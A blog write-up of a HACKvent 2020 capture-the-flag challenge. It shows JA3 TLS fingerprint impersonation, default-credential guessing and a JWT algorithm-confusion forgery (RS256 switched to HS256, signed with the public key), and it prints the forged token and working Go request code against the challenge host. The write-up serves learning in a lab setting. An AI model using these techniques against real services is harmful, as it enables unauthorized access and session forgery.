HACKVent 2020 – Day 17

  • by

Challenge – Santa’s Gift Factory Control

Santa has a customized remote control panel for his gift factory at the north pole. Only clients with the following fingerprint seem to be able to connect:

771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0

Mission: Connect to Santa’s super-secret control panel and circumvent its access controls.

Santa’s Control Panel

Hints:

  • If you get a 403 forbidden: this is part of the challenge
  • The remote control panel does client fingerprinting
  • There is an information leak somewhere which you need to solve the challenge
  • The challenge is not solvable using brute force or injection vulnerabilities
  • Newlines matter, check your files

Solution

Opening the link to Santa’s Control Panel yielded 403 forbidden with no further information. So the fingerprinting stuff was crucial. But what fingerprint? After a bit internet research it became clear that its a JA3 fingerprint for the TLS client hello message. To be more specific various fields from this message. For example the TLS version and supported cipher suites.

TLS Fingerprinting

First idea was to compile my own OpenSSL and go from there, but then I discovered that there is a library available for impersonation. I had to set up Go for this and deal with dependency bullshit but got it running quite fast.

This fingerprint meant something like this:

771 = 0x303 = TLS 1.2 (SSL Version)
49162 = C00A = Cipher Suite TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
49161 = C009 = Cipher Suite TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
52393 = CCA9 = Cipher Suite TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256
49200 = C030 = Cipher Suite TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
...

For more info see the ja3 description. Cipher suite numbers can be looked up at IANA. I didn’t have to bother too much as the impersonation library takes the fingerprint and configures itself accordingly. Was no trouble at all.

After requesting the admin panel over the impersonated connection, I got a basic login page instead of an error. Here I was stuck for a while, out of ideas. Brute forcing and more importantly injection were not a thing according to the challenge hints. My guessed login with “santa” / “santa” credentials also gave nothing. After the hint of a friendly peer called “HaCk0”, I tried “admin” / “admin”. This time the response contained a comment in the HTML and a cookie:

<!--DevNotice: User santa seems broken. Temporarily use santa1337.-->
{Scheme:https Opaque: User: Host:876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land Path:/login RawPath: ForceQuery:false RawQuery: Fragment: RawFragment:} - [session=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ii9rZXlzLzFkMjFhOWY5NDUifQ.eyJleHAiOjE2MDgyNDA4NTUsImlhdCI6MTYwODIzNzI1NSwic3ViIjoibm9uZSJ9.L_3iZLU61UJerXUh_5iyeHFbsJxdjhI2n1-rIEu2jhWTUA6_FIHHIQ_25Tx4MsJ0BgNBon26fGE45yEen0JRrjIhLFz2di_toF5jT31hmwn_485n8iERrv5YmjypapzHoZ3CPVXhV9TiRHuXA6CGfs7-_aFV1eJR1tDDmozRCrHa7lD9MS4M-vVez8VvpbzQDEtoT7rBAfHM_ZeVyC0En7N9l6Uxccil1OV6hWbNauAg1_w71IrBb2R8lLKiX1AK1UPZzYLEwH0RMCEisjMRm6hUu4xxNzRdxC2OOPAA41bG4XIvqH65fkyRa57B83ZVsl_S5QLBv-XcNzboikWsxg; Path=/]

Experienced people will recognize above text as JWT token immediately, others will have to decode the base64 strings first.

JWT Token Forging

I suspected for a while that I might get an active session cookie for the santa user somehow. This was only an inactive and anonymous one ("sub":"none"), so more work had to be done. The base64 decoded header and payload:

{"typ":"JWT","alg":"RS256","kid":"/keys/1d21a9f945"}
{"exp":1608240855,"iat":1608237255,"sub":"none"}

You can see we are dealing with an asymmetrical signature ("alg":"RS256"), but what can you do? First, we downloaded the public key from /keys/1d21a9f945. Turns out its quite short. Recovering the private key was thus an idea, we did some research first however.

Good thing there are articles out there explaining some attack vectors:

  • see if the server skips signature validation if we tell him to
  • see if a key can be recovered from the signature
  • see if the server will validate the signature with an arbitrary symmetric key

Since we got an asymmetric signed payload (RS256), option 2 was already extra hard if not impossible so we went with option 1 and 3 first.

Daniel prepared option 3. He changed the algorithm to HS256 and used the public key for signing, in the hope the server would evaluate "kid":"/keys/1d21a9f945" and use it as well. In the meantime I tried option 1, but without success. When Daniel was done, I set the forged token as cookie in my Go program and requested the site again. The forged token, with "alg":"HS256" and "sub":"santa1337"

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9rZXlzLzFkMjFhOWY5NDUifQ.eyJpYXQiOiIxNjA4MjQxNTQ5IiwiZXhwIjoiMTYwODI0NTE0OSIsInN1YiI6InNhbnRhMTMzNyJ9.QdiiL_CVB5CBh92k9790IWZc7W_9kAti7ckrfMZb23g

And indeed, the token worked and we got in. No login dialog. We were presented a basic control panel, but more importantly, in the HTML somewhere, the flag: HV20{ja3_h45h_1mp3r50n4710n_15_fun}

Finally, the code. It’s not pretty, since I don’t use Go:

func main() {
	
	// custom transport for JA3 impersonation
	tr, _ := ja3transport.NewTransport("771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0")

	// class i c&p'd from somewhere because std libs cookie jar is crippled
    realJar, _ := cookiejar.New(nil)
    jar := &ExportableCookieJar{
        jar: realJar,
        allCookies: make(map[url.URL][]*http.Cookie),
    }

	// forged JWT token
	cookie := http.Cookie{
		Name: "session",
		Value: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9rZXlzLzFkMjFhOWY5NDUifQ.eyJpYXQiOiIxNjA4MjQxNTQ5IiwiZXhwIjoiMTYwODI0NTE0OSIsInN1YiI6InNhbnRhMTMzNyJ9.QdiiL_CVB5CBh92k9790IWZc7W_9kAti7ckrfMZb23g",
	}
	cookieUrl, _ := url.Parse("https://876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land/login")
	jar.SetCookies(cookieUrl, []*http.Cookie{ &cookie})

	// do request
	client := &http.Client{Transport: tr, Jar: jar}
	resp, err := client.Get("https://876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land/")
	if err != nil {
		fmt.Println(err)
	}
	
	// dump response
	defer resp.Body.Close()
	bodyBytes, _ := ioutil.ReadAll(resp.Body)
	fmt.Println("Status : ", resp.Status)
	fmt.Println("Header: ", resp.Header)
	fmt.Println(string(bodyBytes))
	
	exp := jar.ExportAllCookies()
	for u, c := range exp {
        fmt.Println(fmt.Printf("%+v - %+v\n", u, c))
    }
}

Leave a Reply

Your email address will not be published. Required fields are marked *